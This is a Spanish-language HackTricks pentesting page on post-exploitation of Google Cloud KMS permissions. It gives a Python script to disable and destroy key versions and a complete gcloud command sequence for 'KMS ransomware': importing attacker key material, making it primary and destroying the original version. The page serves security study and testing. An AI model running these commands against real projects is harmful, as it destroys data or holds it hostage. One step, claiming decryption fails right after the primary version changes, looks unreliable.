GCP - KMS Post Exploitation

Apoya a HackTricks

KMS

Encuentra información básica sobre KMS en:

GCP - KMS Enum

cloudkms.cryptoKeyVersions.destroy

Un atacante con este permiso podría destruir una versión de KMS. Para hacer esto primero necesitas deshabilitar la clave y luego destruirla:

# pip install google-cloud-kms

from google.cloud import kms

def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Disables a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to disable the key version.
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})

def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Destroys a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to destroy the key version.
client.destroy_crypto_key_version(request={'name': key_version_name})

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'  # Version number to disable and destroy

# Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)

# Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)

KMS Ransomware

En AWS es posible robar completamente una clave KMS modificando la política de recursos de KMS y permitiendo solo que la cuenta del atacante use la clave. Como estas políticas de recursos no existen en GCP, esto no es posible.

Sin embargo, hay otra manera de realizar un KMS Ransomware global, que implicaría los siguientes pasos:

  • Crear una nueva versión de la clave con un material de clave importado por el atacante

gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
  • Configúralo como versión predeterminada (para futuros datos que se cifren)

  • Re-cifra los datos antiguos cifrados con la versión anterior con la nueva.

  • Elimina la clave KMS

  • Ahora solo el atacante, que tiene el material de clave original, podría descifrar los datos cifrados

Aquí están los pasos para importar una nueva versión y deshabilitar/eliminar los datos antiguos:

# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
gcloud kms encrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--plaintext-file my-plaintext-file.txt \
--ciphertext-file my-encrypted-file.enc

# Decrypt it
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -


# Create an Import Job
gcloud kms import-jobs create my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--import-method "rsa-oaep-3072-sha1-aes-256" \
--protection-level "software"

# Generate key material
openssl rand -out my-key-material.bin 32

# Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import \
--import-job my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--algorithm "google-symmetric-encryption" \
--target-key-file my-key-material.bin

# Get versions
gcloud kms keys versions list \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key

# Make new version primary
gcloud kms keys update \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--primary-version 2

# Try to decrypt again (error)
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -

# Disable initial version
gcloud kms keys versions disable \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key 1

# Destroy the old version
gcloud kms keys versions destroy \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--version 1

cloudkms.cryptoKeyVersions.useToEncrypt | cloudkms.cryptoKeyVersions.useToEncryptViaDelegation

Descripción

Estos permisos permiten a un atacante cifrar datos utilizando una clave de Cloud KMS. Esto puede ser útil para cifrar datos sensibles antes de exfiltrarlos.

Explotación

gcloud kms encrypt \
  --location <location> \
  --keyring <keyring> \
  --key <key> \
  --plaintext-file <plaintext-file> \
  --ciphertext-file <ciphertext-file>

Mitigación

Revocar los permisos cloudkms.cryptoKeyVersions.useToEncrypt y cloudkms.cryptoKeyVersions.useToEncryptViaDelegation de las cuentas de servicio y usuarios que no los necesiten.

from google.cloud import kms
import base64

def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)

# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')

# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext

# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'

ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)

cloudkms.cryptoKeyVersions.useToSign

import hashlib
from google.cloud import kms

def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message):
"""
Sign a message using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
return sign_response.signature

# Example usage for signing
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'
message = 'your-message'

signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
print('Signature:', signature)

cloudkms.cryptoKeyVersions.useToVerify

Esta permisión permite verificar firmas digitales utilizando una versión de clave criptográfica específica. Esto puede ser útil para validar la integridad de los datos o la autenticidad de un remitente.

cloudkms.cryptoKeyVersions.viewPublicKey

Esta permisión permite ver la clave pública de una versión de clave criptográfica específica. Esto puede ser útil para obtener la clave pública necesaria para verificar firmas digitales.

cloudkms.cryptoKeys.getIamPolicy

Esta permisión permite obtener la política IAM de una clave criptográfica específica. Esto puede ser útil para enumerar los permisos asociados con una clave criptográfica.

cloudkms.cryptoKeys.setIamPolicy

Esta permisión permite establecer la política IAM de una clave criptográfica específica. Esto puede ser útil para modificar los permisos asociados con una clave criptográfica.

cloudkms.cryptoKeys.get

Esta permisión permite obtener información sobre una clave criptográfica específica. Esto puede ser útil para enumerar detalles sobre la clave, como su estado y propósito.

cloudkms.cryptoKeys.list

Esta permisión permite enumerar todas las claves criptográficas en un proyecto o ubicación específicos. Esto puede ser útil para obtener una visión general de todas las claves disponibles.

cloudkms.locations.get

Esta permisión permite obtener información sobre una ubicación específica. Esto puede ser útil para enumerar detalles sobre la ubicación, como su nombre y región.

cloudkms.locations.list

Esta permisión permite enumerar todas las ubicaciones disponibles en un proyecto. Esto puede ser útil para obtener una visión general de todas las ubicaciones disponibles.

cloudkms.keyRings.get

Esta permisión permite obtener información sobre un anillo de claves específico. Esto puede ser útil para enumerar detalles sobre el anillo de claves, como su nombre y ubicación.

cloudkms.keyRings.list

Esta permisión permite enumerar todos los anillos de claves en un proyecto o ubicación específicos. Esto puede ser útil para obtener una visión general de todos los anillos de claves disponibles.

from google.cloud import kms
import hashlib

def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success

# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
Apoya HackTricks

Last updated